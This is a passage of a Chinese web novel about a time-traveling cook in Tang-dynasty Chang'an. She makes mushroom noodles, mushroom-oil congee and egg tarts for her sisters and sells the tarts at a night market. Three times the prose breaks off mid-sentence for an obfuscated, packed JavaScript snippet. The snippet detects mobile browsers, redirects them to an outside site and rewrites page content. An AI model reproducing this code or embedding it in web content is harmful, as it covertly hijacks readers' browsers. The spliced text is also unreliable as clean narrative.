炸好的菌油渣香气浓郁，被封进罐子也依然香飘十里，没过多久阿锦阿宁俩人便闻着香味儿回来了。 满鼻子都是香浓的菌香油香，阿宁幸福得快要晕过去，阿锦则把这味道记在心里，蹲在石凳旁边，眼巴巴瞧着崔时钰徒手把菌子撕成略粗的菌丝。 她好奇发问：“阿姊，这蕈子真能比肉还香？” 没想到阿锦竟真把自己当初随口一说的烹饪经记在心里，崔时钰微微挑眉，思索起该如何给妹妹解释。 作为厨师，她学习过专业课程，自然知晓其中原理，菌菇里含有丰富的天然鲜味成分，在高温烹饪过程中会产生独特的类似烤肉的焦香，即美拉德反应，也就是阿锦方才提到的“蕈子比肉还香”了。 可是这些东西要怎么告诉她这个异朝异代的妹妹呢？ 好在这时，一旁的阿宁蹦蹦跳跳地跑来解了惑：“是不是因为蕈子厚厚的，吃起来很像肉呀？” 阿锦看她片刻，若有所思地点了点头，“有道理。”说完还不忘打趣妹妹“一沾吃食便聪明起来了”。 阿宁闻言哼了一声，骄傲叉腰：“我不沾吃食也很聪明！” 这倒是真的，小姑娘真没自夸。 崔时钰早就发现自己的两个妹妹聪慧过人，特别是阿宁，比同龄孩子聪明许多，没有先生教导也自学了《千字文》和《三字经》，背诵起来的熟练程度让崔时钰这个活了两辈子的人都自愧不如。 崔时锦垂眸看着叉腰的妹妹，唇角不明显地勾了一下，“这位聪明的小小娘子，今日的《三字经》背给我了么？” 阿宁耍无赖道：“我一会儿还要吃比肉还香的蕈子，吃完再背嘛！” 崔时钰歪头看着两个打打闹闹的妹妹，笑着摇摇头，继续手头的活计。 菌子须得手撕，不能用刀切，否则会沾染异味。为防热油溅出，她动作飞快地将撕成粗丝的松菌草菇羊肚菌倒入滚油，只听刺啦响亮一声，油花与香气一同炸开。 听到动静，两个妹妹也不闹了，认真趴在灶边看阿姊做饭。 阿宁抽着鼻子道：“好香！” 菌菇面做起来简单，煎出菌油后添水熬出琥珀色的清亮汤底，等到菌汤咕嘟咕嘟冒起了泡，把面条抻好放进去，盖上锅盖焖煮半盏茶的功夫，撒一把翠绿芫荽、点几滴胡麻油，出锅。 锅盖掀开的瞬间，蒸腾的白雾裹挟着菌子独特的鲜香扑面而来，阿锦和阿宁不约而同吞了吞口水，像两只嗅到鱼腥的小猫似的凑了过来。 看着面前一锅鲜香的菌菇素面，崔时锦竟有些失语。 淡褐色的汤底清澈见底，泛着莹润的油光，撕成丝的各种蕈子或是沉在锅底，或是浮在汤面；手抻的面条吸饱了汤汁，根根分明；金黄的菌油从松菌边缘缓缓渗出，在汤面上绽出朵朵圆晕，配着翠生生的芫荽，好看极了。 崔时锦形容不出自己此刻的感受，觉得自己竟在一锅简单的汤面里看到了一幅水墨画。 ——这就是“色香味”排在首位的“色”吗？ 崔时钰倒是没有妹妹们的闲情逸致，忙活这么半天，她早已饿了，用长筷轻轻搅动锅底把沉底的菌菇翻上来，给自己和两个妹妹一人盛了一满碗面。 “快吃吧。” “谢谢阿姊。”崔时锦接过面碗，先捧着碗喝了口汤。 菌菇汤刚触到舌尖就化作了一汪鲜汁，看似清澈的汤里藏着各种菌子的精华，喝起来竟然有肉汤般的丰腴感。 藏在面底的羊肚菌碎是最好吃的，这些带着细密纹路的乳黄色碎末每一粒都暗藏鲜味，嚼着嚼着就泛出堪比肉香的醇厚，配着劲道顺滑的面条，让人忍不住一口接一口。 阿宁吃得更是欢快，直接挑起一筷子面，面条吸饱了菌汤，晶莹的汤汁顺着面身缓缓滑落，她连忙张开嘴去接。 入口瞬间，她先尝到了汤汁的鲜味，又嚼到一丝不知叫做何名的蕈子，吃起来的口感像嫩鸡肉，味道却似甘蔗般的清甜，鲜得人眉毛都要掉了。 面条也是筋道弹牙，每嚼一下都有鲜美菌汁从面芯里迸出来，叫人舍不得停嘴。 好好吃啊！ 崔时宁边嗦面条边想，她还从没有吃过这么好吃的汤饼，太好吃了！就是有人用一碗羊汤来跟她换她都不同意呢！ 菌汤面热，两个妹妹吃得额头冒汗，鼻尖上都冒出了细密的汗珠。 阿宁含着半截面条含糊道：“阿姊，这汤饼也太好吃了！” 看着两个妹妹嗦面条嗦得不亦乐乎，正捧着碗小口喝汤的崔时钰笑而不语。 更好吃的还在后面呢——那小半罐菌油渣，她准备留着明早给她们拌粥吃。 菌油渣做起来更简单，用油煎煎炸炸便成了，味道却是不容小觑。 冷油下锅，小火慢炸至菌丝蜷缩成金黄小卷，捞出沥干，剩下的便是鲜美的菌油。 炸干的菌丝外观是黑褐色的细碎渣滓，像枯树枝般其貌不扬，味道却别有洞天，焦香混合着类似炭烤松露的香气，最后泛起一丝甜津津的回甘，极鲜极美。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640042|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是撒一撮在清汤面里，还是混进肉馅包饺子，或者是直接嚼着当零食吃，味道都十分美妙。 但崔时钰最想做的，还是拌进粥里给两个妹妹当作明日的朝食。 自从贩饼以来，姐妹三人的朝食一直都是酱香饼，甚至偶尔连中午都会吃顿饼子，两个妹妹虽然没什么异议，啃饼子也啃得津津有味，但崔时钰却已经把调整伙食的事放在心上了——再好吃也不能老吃一样东西不是？ 菌油渣拌粥就是个不错的选择。 不知不觉，阿宁碗中的面已见底，却舍不得放下筷子，自个捧着碗去灶边盛了。 阿锦这时也吃完了，比妹妹动作更快地移动到锅边，先给阿宁盛了一碗，又给自己盛了半碗，看了眼锅里，扭头对崔时钰道：“剩下的一碗阿姊你吃。” 崔时钰笑着点点头，低头继续吃菌菇面，脑子里却忍不住琢磨起方才煮面时瞟了一眼的黄历。 中和节要到了。 天气已由寒转暖，正是万物复苏、农事开始之时，从前的唐人们觉得这时很适合举办个什么节日来庆祝，于是中和节便应运而生。 这天人们会祭祀勾芒神祈求农业丰收，还会用青色口袋装上各种各样的粮食和瓜果种子，互相赠送，以预祝一年五谷丰登。 听说在皇宫内，王公贵族也会献上春服，表达对圣人的忠诚；而同样的，圣人会赐给大臣尺子和衣服，以表达对臣下的关怀。 不过崔时钰对这些东西并不算感兴趣，皇宫内的事离她太远了，她最关心中和节这天大家吃什么—— 太阳糕。 太阳糕是中和节的传统糕点，用糯米粉制作而成，成糕顶部印有太阳图案，有的糕上还会塑有小鸡或乌鸦形象。这些图案都是日神的象征，人们通过祭祀太阳糕来表达对太阳神的敬意，以求万事如意、丰收吉祥。 见自家阿姊方才瞧了一眼黄历，阿锦也想到了什么，道：“中和节快到了，今年各坊好像还要献太阳糕祭日神。” 过节对小孩子来说算是件不折不扣的新鲜事，一听姐姐们说起中和节，阿宁便来了精神，高兴道：“去年王五娘做的太阳糕硬得能砸胡桃呢！” ……也不知在兴奋什么。 崔时钰笑笑，戳着碗里的菌子，忽然眼睛一亮。 太阳糕是米粉混上蜜糖做的甜饼，她何不创新一下，在饼皮里调上蛋奶馅做成蛋挞，岂不是更好？况且蛋挞滚圆金黄的模样也极似太阳。 至于那略烤焦的焦糖黑点……不正好可以当作太阳黑子吗？ 崔时钰被自己的天才想法折服了。 阿锦看着她问：“阿姊可是想到什么了？” 崔时钰朝她神秘一笑：“明日我去找九娘买些牛乳回来，给你俩做样新点心。” 她的脑海里已经浮现出金黄的蛋挞在烤炉里鼓起的模样了。 中和节的商机，她绝对不会错过。 24. 酥皮蛋挞 晨光熹微，天还没完全亮，崔家小院里的庖厨里便已透出一缕微光。 崔时钰正挽袖子站在灶旁准备今日的朝食，菌油渣拌粥。 灶膛里柴火烧得噼啪轻响，锅里的米粥已熬得浓稠，咕嘟咕嘟冒着细密气泡，米粒开花，汤色洁白，粥米的清香溢满了整间庖厨。 崔时钰将昨日炸好的菌油渣分出今日要吃的量，连油带渣倾入粥中，撒一小把翠绿葱花，热气一激，葱香混着菌鲜米香直冲鼻腔。 随着木勺搅拌，原本洁白如乳的粥米混入了金黄菌油，炸得焦香酥脆的菌渣半沉半浮，葱花点缀其间，碧绿鲜亮，白粥油光点点，在晨光里泛着莹润如脂的光泽。 菌油渣拌粥的香气极浓郁，菌菇的鲜香混着猪油的醇厚，又有米粥本身的甘甜，润物细无声，顺着清早的晨风飘出院子，惹得隔壁院子的娇娇抱着同样在睡梦中王五娘直抽鼻子。 因连着早起出摊的日子已经数不胜数，阿锦和阿宁都习惯了现在的生物钟，哪怕知道今日不用出摊，为吃这碗菌油渣拌粥也早早从床上爬了起来。 洗漱完毕，阿锦揉着眼睛趿拉着布鞋蹭到灶台边，整个人还带着晨起的迷糊，然而一闻到面前的米粥香气，眼神瞬间变得清明。 往粥里放些菌油渣，竟能这么香？ 她感觉自己又在阿姊这里学到了新知识。 阿宁直接搂住崔时钰的腰，眼巴巴盯着锅里咕嘟冒泡的白粥。 阿姊又给她们做好吃的了！光是看着都觉得好香，好好喝啊！ 粥面上浮着金灿灿的菌油渣子，炸得酥脆的菌子碎混着碧绿葱花在米汤里沉浮，被热气一烘，香气越发浓郁。 崔时钰扭头一看，两个妹妹已捧着碗排排坐好，一副乖巧等待投喂的模样。她笑笑，手腕动了动，将米粥盛出满满三碗。 “谢谢阿姊！” 异口同声地道谢完，崔时锦和崔时宁马上捧着粥碗大快朵颐起来。 热粥滑过喉咙，米香绵软，裹挟着浓香的菌油，暖意从胃里漫向四肢百骸。偶尔还能咬到里面炸得焦酥微韧的菌油渣，稍一咀嚼便迸出满口蕈子特有的焦香鲜甜。 觉得口里淡了，再往粥里拌些阿姊腌的清脆爽口的萝卜丁——是酱香饼同款，一勺粥配着两三粒萝卜丁，崔时锦这顿朝食吃得满足无比。 再去瞧阿宁，小姑娘连勺子都顾不上用，捧着碗把米粥喝得见底，还意犹未尽地咂嘴：“阿姊，明日咱们朝食还吃这个好不好？” “行。”崔时钰笑容满是宠溺，想了想陶罐里菌油渣的余量，大约还能再吃上两三顿。 吃完也不怕，再过几日便是中和节，那时候她们姐妹三个又有新的吃食了。 吃饱喝足，阿锦和阿宁不约而同都有些犯困，打起了哈欠，哄着两个妹妹上床睡回笼觉，崔时钰独自一人来到院里的土炉旁。 崔家的土炉就垒在院子角落，半人高，圆肚窄口，外层糊着黄泥混稻草的厚浆，远看像一只蹲着的不知名小兽。 崔时钰已经不记得这土炉是什么时候砌成的了，似乎打崔娘子记事起，这东西便一直陪她长大，是她最沉默的朋友。 可惜的是崔娘子不喜下厨，甚少和这位朋友交流，自从父母去世后，这土炉便再没用过，内部积攒起好几层厚厚的灰尘。 崔时钰将里面清理干净，去除杂物和灰烬，又仔仔细细将土炉内外用布巾擦了几遍，这才放心地做起蛋挞——没错，她已经把做蛋挞的各种食材都备好了。 用来制作糕点点心的面粉需比平常吃的面粉更精细，崔时钰将面粉仔细筛了好几遍，指腹捻了捻，确定面粉细密无颗粒，这才开始揉制酥皮。 做蛋挞，黄油可酥油也可，这时候没有黄油，便只能用酥油了。崔时钰将酥油隔水化开后掺入细面，掌心贴着案板反复推揉，直至面团光滑如绸。 接着便是开酥的关键：将面团擀成薄片，叠起，擀开，再叠起，再擀开……如此重复数次，面皮层层交叠，蛋挞酥皮的雏形就成了。 看着叠得整整齐齐的面团，崔时钰忍不住想，若是阿锦现下没睡着，定要问她这面皮是如何做出这副模样的；而阿宁大约会和她说：“阿姊，这面皮像花瓣似的，真好看！” 想到妹妹们，崔时钰越发动力十足，转身从柜里取出数只小瓷碗。 烤蛋挞需要的现代的烘焙模具，在唐朝自然是没有的，好在家里还有些小个瓷碗，崔时钰便用它们作为蛋挞模具的代替品。 她在瓷碗内壁涂一层薄油，防止蛋挞粘附，将面皮铺上去，用手指捏出边缘褶皱，再分别往酥皮小盏内填入兑了牛乳和糖，搅拌得丝滑绵密的蛋液。 在唐朝，牛乳是稀罕物，这牛乳是从方九娘那儿买的，八十文一斤，着实不算便宜。毕竟是头次卖这东西，崔时钰只买了两斤试水。 对于现在的她来说，投资一百多文钱已完全不在话下，因而这钱花得很是坦然。 虽说她现在离“有钱人”还差得太远，但比起刚穿来那时候连吃个鸡蛋都要斤斤计较还是强多了。 蛋液只注入九分满，留出烘烤后膨胀的余地，崔时钰蹲下*身，将蛋挞一一码齐送入炉中，点燃火石引燃干树叶，再添几块木柴，看火焰由橘转青才满意点头，反手合上炉门。 柴火噼啪，热气蒸腾，不多时，甜香便从炉口溢出，混着蛋香与奶香茸茸地钻入鼻腔。 这味道和上辈子做过的蛋挞几乎别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645683|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无二致，崔时钰一闻便放下了一半的心。 蛋香奶香的甜味越来越浓，估摸着时间差不多了，崔时钰将炉门打开，甜香瞬间如浪涌出。 数枚金灿灿的蛋挞排列成行，酥皮层层叠叠，蛋芯饱满圆润，表面浮着点点焦斑，映着光线，竟真似缩小了的太阳。 崔时钰只瞧上一眼便彻底放心了。 土炉到底和现代烤箱有所不同，她之前还担心会翻车，如今看来倒是多虑了。 多完美的小蛋挞呀！ 她敞开炉门，让土炉内部的温度逐渐降低，等到温度降至可以取出蛋挞时，这才将里面的蛋挞一一取出。 像踩着点似的，阿锦和阿宁便在这时候醒了过来。 崔时宁还在回味着不久前菌油粥的香气，冷不防又被蛋香奶香甜香冲了脑门：“阿姊，这就是你昨日说的那个、那个蛋塌？” “是蛋挞。”崔时钰笑着纠正妹妹，一人递过去一只，“刚出炉的最好吃。” 崔时锦小心翼翼将这巴掌大的点心接了过来。 刚出炉的蛋挞外皮金黄酥脆，内里的蛋芯却嫩如凝脂，表面泛着诱人的焦糖色，轻轻一晃，内馅还在微微颤动。 她还从未见过这样的点心。 “好漂亮。”崔时锦不由发出赞叹，“像菊花一样。” “呃……”崔时钰卡了卡壳。 这时候的菊花还没被赋予后世那些乱七八糟的定义，是漂亮美好的代名词，但她依然有些不忍卒听，只道：“快吃，快吃吧。” 阿锦点点头，和妹妹同时咬下第一口，又同时瞪大了眼睛。 这挞皮比她们想象中还要酥，刚咬下去便落了两个小姑娘满手的金黄碎屑，蛋羹裹挟着酥油的浓郁香气，绵密柔滑，几乎入口即化，牛乳的醇厚与白糖的甘甜相互衬托，甜而不腻，奶香十足。 阿宁吃得眼神发亮，这次倒是没叫错名字，“阿姊做的这蛋挞比皇宫里的点心还好吃！” 崔时钰哑然失笑，伸手轻轻拂去妹妹颊边的一小块酥皮屑，逗她道：“我们家阿宁什么时候吃了皇宫里的点心了，怎的也没给两个阿姊带回来一份？” 阿宁理直气壮道：“宫里的点心我没吃过，但我知道阿姊做的就是最好吃的！” 崔时钰和阿锦都被逗笑了。 尽管两个妹妹对蛋挞的反响颇为不错，但崔时钰心里仍有些没底，于是便把娇娇喊了过来，小姑娘一口气连吃三个——用王五娘的话来说，这事儿比太阳打北边出来还要难得。 得了这位挑食少女的肯定，崔时钰这才把剩下的蛋挞装进保温食盒，并用自己的小学生字体写了个简易的招牌“太阳挞糕”，带上两个妹妹去夜市摆摊了。 25. 夜市摆摊 华灯初上，集市上人潮涌动。 再过两三日才是中和节，长安百姓却早已按捺不住，纷纷踏青出游，上街闲逛。 夜市人满为患，崔时钰拎着食盒转悠半天才在角落寻到一处位置，甫一落脚便大声吆喝起来。 “太阳挞糕，祭日赐福，吉祥如意，十文一枚——” 站在一旁的阿锦默默念着这句吆喝，打算待会儿替阿姊也喊两句。 因要以太阳糕为噱头，崔时钰这次没给蛋挞起什么类似“金乌包月”“金玉满堂”之类的雅名，简简单单的“太阳挞糕”，既蹭了中和节太阳糕的热度，又有自己的创新，简单明了。 果然没过多久便有人上前询问。 “小娘子，这‘太阳挞糕’是何物？怎的从未见过？” 一位头戴幞头的郎君驻足，好奇地盯着摊上金灿灿的蛋挞，“某只知晓‘太阳糕’，却从未听说过这‘太阳挞糕’。” 崔时钰笑吟吟捧起一枚蛋挞，介绍道：“郎君有所不知，此乃古法‘太阳挞糕’，以酥皮为天，蛋液为日，烘烤成形，恰似旭日东升。中和节祭日食此糕，可纳祥瑞，保一年顺遂。” 这人顺着崔时钰手指方向看去，只见蛋挞在灯笼下泛着诱人的光泽，酥皮层层绽开如旭日金辉，正中蛋芯圆润饱满，宛如一轮小太阳，倒是真应了“太阳挞糕”的名头。 幞头郎君本就为这股子甜香折服，听了崔时钰这番吉祥话，终于没禁受住诱惑，从钱袋子里数出二十枚铜钱，“好好，劳烦小娘子给我来两个，我带回去给家母尝尝，若是好的话，她老人家今年就不必费心做太阳糕了。” “好嘞。”崔时钰像包酱香饼一样用干荷叶裹好两枚蛋挞，递过去，不忘提醒，“郎君小心轻拿，否则酥皮碎裂便不好看了。” “多谢小娘子提醒。”幞头郎君美滋滋地将蛋挞揣怀里离开了。 和之前一样，此次夜市摆摊崔时钰同样做了功课，知道集市上售卖的吃食，特别是甜味小食都有哪些： 蔗浆米锦糕，即将糯米蒸熟捣烂，压成方糕后淋上蔗糖熬的糖浆，小贩常推着木轮车沿街叫卖，三文钱一块；糖脆焦堆，形似现代沙琪玛，但更蓬松，孩子们最爱围着买，一文钱一个；杏酪蒸酥，掺了杏仁粉蒸出来的奶黄色米糕，表面点缀着腌梅子碎，五文钱就能用荷叶包走三块；小镜糕，以糯米粉搭配白糖及胡麻、瓜子仁等坚果碎制成，偶尔还会点缀些玫瑰酱。 还有粔籹、甑糕、糖拨浪鼓、蜜渍梨条、豆沙糕……各种小食不计其数。 这些吃食都有一个特点，那便是价格低廉，崔时钰看了看，最贵也不会超过六文。和它们相比，她卖的十文一只的酥皮蛋挞着实不算便宜。 但崔时钰并不打算降价：牛乳多贵啊！其他小摊卖的甜点有几个能往里面放牛乳的？ 况且鸡蛋白糖酥油也都不是什么便宜物，再加上炭火钱和手工费……这十文钱是不折不扣的物有所值。 因着价贵，她原本以为蛋挞的售卖速度会没酱香饼那么快，没想到那位幞头郎君前脚刚走，后脚就有新客人来了。 新客人是位头梳高髻的妇人，一句废话没有，直接买下四只，付完钱当着崔时钰的面就捧起一枚蛋挞咬了一口，顿时瞪大一双丹凤眼：“天爷，世上竟有如此美味！” 听得阿宁在一旁连连点头：嗯嗯嗯，对，吃了阿姊做的吃食的人就该是这个反应！ 俗话说，当有几个客人到来之后，更多的客人往往也会相继而来。那女郎走后，崔时钰的“太阳挞糕”摊位前又来了不少人。 一个穿着粗布短打的脚夫排在队伍最前头，掏出十文钱递给阿锦，“小娘子，给我来一个尝尝！” 崔时钰麻利地用干荷叶好递过去，那脚夫接过，大口咬下，酥皮碎裂的清脆声响清晰可闻。 酥皮脆，里头的蛋芯却颤巍巍的，软滑可口，舌尖一抿便化开，牛乳的醇香混着白糖的清甜，别提有多好吃了。 “这也太香了……”脚夫哪里吃过这样好吃的精致甜点，三两口就把蛋挞吃进肚内，意犹未尽地舔着嘴边的酥皮渣，“再来两个！我要带回去给我家娘子和儿子尝尝！” 队伍里顿时响起一片笑声。 “真有那么好吃？”一个书生模样的年轻人探头问道。 “骗你作甚？”脚夫拍着胸脯，“我走南闯北这么多年，就没吃过这么酥这么嫩的点心！再说了，中和节本就是要吃太阳糕的，吃哪个太阳糕不是吃！” 书生默了，心想：他说得好有道理哦。 于是这一嗓子喊出去，原本还在观望的路人纷纷加入队伍。 “给我也来一个！” “我要五个。” 崔时钰顿时忙碌起来，一堆人催着，她手上的动作却丝毫不乱，还有空瞧了一眼，只见队伍已经拐到了对面铺子，新来的客人还在不断涌入。 得，看来明日得找九娘再多买些牛乳了。 * 对街，于记酒楼二楼，几个胡人推开雕花窗，指着崔时钰的摊位叽里咕噜一阵兴奋议论。 不一会儿，几人纷纷下楼，比划着要买“太阳挞糕”，竟是连酒楼里的吃食也不点了。 伙计关小二觑着自家掌柜于博阳的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651512|172375||http|test|mini|href|location''.split(''|''),0,{})); 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